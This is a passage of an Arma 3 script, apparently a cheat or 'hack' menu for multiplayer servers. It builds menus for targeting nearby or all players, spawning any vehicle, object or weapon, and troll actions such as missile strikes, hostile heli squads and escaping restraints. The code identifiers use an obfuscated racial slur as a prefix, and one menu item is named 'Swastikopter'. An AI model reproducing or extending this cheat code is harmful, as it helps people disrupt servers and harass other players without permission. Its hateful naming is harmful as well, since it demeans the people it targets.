- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Plrs = {
- _l26360 = playableUnits;
- _l77 = 103 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- _l77 lbAdd format["===== PLAYERS (500m) ====="];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title]; {
- if ((player distance _x < 500) && (_x != player) && (isPlayer _x) && !(isNull _x)) then {
- _l10 = "A3\data_f\Flags\flag_white_co.paa";
- if (vehicle _x == _x) then {
- _l77 lbAdd format["%1", name _x];
- _l77 lbSetData[(lbsize _l77) - 1, "1"];
- if (side _x == west) then {
- _l10 = "A3\data_f\Flags\flag_blue_co.paa";
- };
- if (side _x == east) then {
- _l10 = "A3\data_f\Flags\flag_red_co.paa";
- };
- if (side _x == resistance) then {
- _l10 = "A3\data_f\Flags\flag_green_co.paa";
- };
- if (side _x == civilian) then {
- _l10 = "A3\data_f\Flags\flag_white_co.paa";
- };
- _l77 lbSetPicture[(lbsize _l77) - 1, _l10];
- } else {
- {
- _l10 = (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'picture'));
- _l77 lbAdd format["%1", name _x];
- _l77 lbSetData[(lbsize _l77) - 1, "1"];
- _l77 lbSetPicture[(lbsize _l77) - 1, _l10];
- }
- forEach crew _x;
- };
- if (side _x == west) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_Bluefor_player];
- };
- if (side _x == east) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_opfor_plr];
- };
- if (side _x == resistance) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_resistance_plr];
- };
- if (side _x == civilian) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_civilian_plr];
- };
- };
- }
- forEach _l26360;
- _l77 lbAdd format["===== PLAYERS (FOOT) ====="];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title]; {
- if ((vehicle _x == _x) && (player distance _x > 500) && (isPlayer _x) && !(isNull _x)) then {
- _l10 = "A3\data_f\Flags\flag_white_co.paa";
- if (side _x == west) then {
- _l10 = "A3\data_f\Flags\flag_blue_co.paa";
- };
- if (side _x == east) then {
- _l10 = "A3\data_f\Flags\flag_red_co.paa";
- };
- if (side _x == resistance) then {
- _l10 = "A3\data_f\Flags\flag_green_co.paa";
- };
- if (side _x == civilian) then {
- _l10 = "A3\data_f\Flags\flag_white_co.paa";
- };
- _l77 lbAdd format["%1", name _x];
- _l77 lbSetData[(lbsize _l77) - 1, "1"];
- _l77 lbSetPicture[(lbsize _l77) - 1, _l10];
- if (side _x == west) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_Bluefor_player];
- };
- if (side _x == east) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_opfor_plr];
- };
- if (side _x == resistance) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_resistance_plr];
- };
- if (side _x == civilian) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_civilian_plr];
- };
- };
- }
- forEach _l26360;
- _l77 lbAdd format["===== PLAYERS (VEH) ====="];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title]; {
- if ((vehicle _x != _x) && (player distance _x > 500) && (isPlayer _x) && !(isNull _x)) then {
- if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then {
- {
- _l77 lbAdd format["%1", name _x];
- _l77 lbSetData[(lbsize _l77) - 1, "1"];
- _l77 lbSetPicture[(lbsize _l77) - 1, (gettext(configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'picture'))];
- if (side _x == west) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_Bluefor_player];
- };
- if (side _x == east) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_opfor_plr];
- };
- if (side _x == resistance) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_resistance_plr];
- };
- if (side _x == civilian) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_civilian_plr];
- };
- };
- }
- forEach crew _x;
- };
- }
- forEach _l26360;
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Vehicles = {
- NNNN_IGGG___EEEEEEE_Sub = true;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- _l26362 = '"%1"spawn NNNN_IGGG___EEEEEEE_SPAWN_VEH';
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=====TROLL=====", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Advert", "[]spawn NNNN_IGGG___EEEEEEE_J_420_MEAd", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Moving Weapon Box", "[]spawn NNNN_IGGG___EEEEEEE_HealSelf", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Giant Flying Dick", "[]spawn NNNN_IGGG___EEEEEEE_GiantCock", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["JetBus", "[]spawn NNNN_IGGG___EEEEEEE_JetBus", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["LLYYSSTTIICCC Swastikopter", "[]spawn NNNN_IGGG___EEEEEEE_NNNN_IGGG___EEEEEEE_to_Swastika", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Auto Take Off Heli!!!", "[]spawn NNNN_IGGG___EEEEEEE_AutoTakeOffV3", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=====VEHICLES=====", "", "0", "1", "0", "0", []];
- _l26363 = configFile >> "cfgVehicles";
- for "_l39"
- from 0 to(count _l26363) - 1 do {
- _l26364 = _l26363 select _l39;
- if (isClass _l26364) then {
- _l12 = configName _l26364;
- if ((getNumber(_l26364 >> "scope") == 2) && (getText(_l26364 >> "picture") != "") && (((_l12 isKindOf "LandVehicle") or(_l12 isKindOf "Air") or(_l12 isKindOf "Ship"))) && !((_l12 isKindOf "ParachuteBase") or(_l12 isKindOf "BIS_Steerable_Parachute"))) then {
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + [_l12, format[_l26362, _l12], "0", "0", "0", "0", []];
- };
- };
- };
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _text = NNNN_IGGG___EEEEEEE_OPTIONS select _l26356;
- _newText = getText(configFile >> "cfgVehicles" >> NNNN_IGGG___EEEEEEE_OPTIONS select _l26356 >> "displayName");
- if (_newText != "") then {
- _text = _newText;
- };
- _l26357 = _l77 lbAdd format["%1", _text];
- _l77 lbSetPicture[(lbsize _l77) - 1, (gettext(configFile >> 'CfgVehicles' >> (NNNN_IGGG___EEEEEEE_OPTIONS select _l26356) >> 'picture'))];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Objects = {
- NNNN_IGGG___EEEEEEE_Sub = true;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- _l26362 = '"%1"spawn NNNN_IGGG___EEEEEEE_SPAWN_VEH';
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["====OBJECTS====", "", "0", "1", "0", "0", []];
- _l26365 = configFile >> "cfgVehicles";
- for "_l39"
- from 0 to(count _l26365) - 1 do {
- _l2632 = _l26365 select _l39;
- if (isClass _l2632) then {
- _l26366 = configName _l2632;
- if ((getNumber(_l2632 >> "scope") == 2) && (getText(_l2632 >> "picture") != "") && !((_l26366 isKindOf "ParachuteBase") or(_l26366 isKindOf "BIS_Steerable_Parachute")) && (_l26366 isKindOf "Building")) then {
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + [_l26366, format[_l26362, _l26366], "0", "0", "0", "0", []];
- };
- };
- };
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _text = NNNN_IGGG___EEEEEEE_OPTIONS select _l26356;
- _newText = getText(configFile >> "cfgVehicles" >> NNNN_IGGG___EEEEEEE_OPTIONS select _l26356 >> "displayName");
- if (_newText != "") then {
- _text = _newText;
- };
- _l26357 = _l77 lbAdd format["%1", _text];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_Weapons = {
- NNNN_IGGG___EEEEEEE_Sub = true;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- _l26362 = "[lbtext[1,(lbCurSel 1)],'%1']spawn NNNN_IGGG___EEEEEEE_SPAWN_WEAPON";
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["====WEAPONS====", "", "0", "1", "0", "0", []];
- _l51 = configFile >> "cfgWeapons";
- for "_l39"
- from 0 to(count _l51) - 1 do {
- _l26367 = _l51 select _l39;
- if (isClass _l26367) then {
- _l26368 = configName(_l26367);
- if ((getNumber(_l26367 >> "scope") == 2) && (getText(_l26367 >> "picture") != "")) then {
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + [_l26368, format[_l26362, _l26368], "0", "0", "0", "0", []];
- };
- };
- };
- for [{
- _l26356 = 0
- }, {
- _l26356 <= count(NNNN_IGGG___EEEEEEE_OPTIONS) - 1
- }, {
- _l26356 = _l26356 + 7
- }] do {
- _text = NNNN_IGGG___EEEEEEE_OPTIONS select _l26356;
- _newText = getText(configFile >> "cfgWeapons" >> NNNN_IGGG___EEEEEEE_OPTIONS select _l26356 >> "displayName");
- if (_newText != "") then {
- _text = _newText;
- };
- _l26357 = _l77 lbAdd format["%1", _text];
- _l77 lbSetPicture[(lbsize _l77) - 1, (gettext(configFile >> 'cfgWeapons' >> (NNNN_IGGG___EEEEEEE_OPTIONS select _l26356) >> 'picture'))];
- _l26358 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 2);
- _l26343 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 3);
- _l26344 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 4);
- _l26359 = NNNN_IGGG___EEEEEEE_OPTIONS select(_l26356 + 6);
- if (count _l26359 == 0) then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_run];
- } else {
- _l77 lbSetColor[(lbsize _l77) - 1, _l26359];
- };
- if (_l26358 == "1") then {
- if (_l26357 in NNNN_IGGG___EEEEEEE_M_E_N_U_hax_toggled) then {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_toggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_on];
- } else {
- _l77 lbSetData[(lbsize _l77) - 1, "NNNN_IGGG___EEEEEEE_nottoggled"];
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_toggle_off];
- };
- };
- if (_l26343 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_menu_title];
- };
- if (_l26344 == "1") then {
- _l77 lbSetColor[(lbsize _l77) - 1, NNNN_IGGG___EEEEEEE_MENU_Sub];
- };
- };
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- _l77 lbAdd format[""];
- };
- NNNN_IGGG___EEEEEEE_M_E_N_U_fill_TROLLmenu = {
- NNNN_IGGG___EEEEEEE_Sub = false;
- _l77 = 102 call NNNN_IGGG___EEEEEEE_M_E_N_U_getControl;
- lbclear _l77;
- NNNN_IGGG___EEEEEEE_OPTIONS = [];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== MAIN MENU ===", "Main_Menu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TROLL MENU ===", "Funmenu", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET PLAYER ===", "Target", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== TARGET ALL ===", "All", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== VEHICLE SPAWN ===", "Vehicles", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== OBJECT SPAWN ===", "Objects", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=== WEAPON SPAWN ===", "Weaponz", "0", "0", "1", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["=========================", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== TROLOLOL ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Task Server", "[]spawn NNNN_IGGG___EEEEEEE_ShowNote", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Question", "[]spawn NNNN_IGGG___EEEEEEE_Question", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["3D Text ", "[]spawn NNNN_IGGG___EEEEEEE_3Dtext", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Nyan Cat", "[]spawn NNNN_IGGG___EEEEEEE_nyan", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Map Smoke", "[]spawn NNNN_IGGG___EEEEEEE_smoke", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Map Smoke Red", "[]spawn NNNN_IGGG___EEEEEEE_smokered", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Crate", "[]spawn NNNN_IGGG___EEEEEEE_SpawnCrate", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Delete Crate", "[]spawn NNNN_IGGG___EEEEEEE_DelCrate", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Missile Strike", "[]spawn NNNN_IGGG___EEEEEEE_MissileStrike", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Bluefor Heli Squad", "[]spawn NNNN_IGGG___EEEEEEE_HeliSquad", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Opfor Heli Squad", "[]spawn NNNN_IGGG___EEEEEEE_HeliSquad2", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["== LLYYSSTTIICCC LIFE ==", "", "0", "1", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Heal", "[]spawn NNNN_IGGG___EEEEEEE_AL_Heal", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Unrestrain Me", "[]spawn NNNN_IGGG___EEEEEEE_AL_Unrestrain", "0", "0", "0", "0", []];
- NNNN_IGGG___EEEEEEE_OPTIONS = NNNN_IGGG___EEEEEEE_OPTIONS + ["Stop Escorting Me", "[]spawn NNNN_IGGG___EEEEEEE_AL_NoEscort", "0", "0", "0", "0", []];
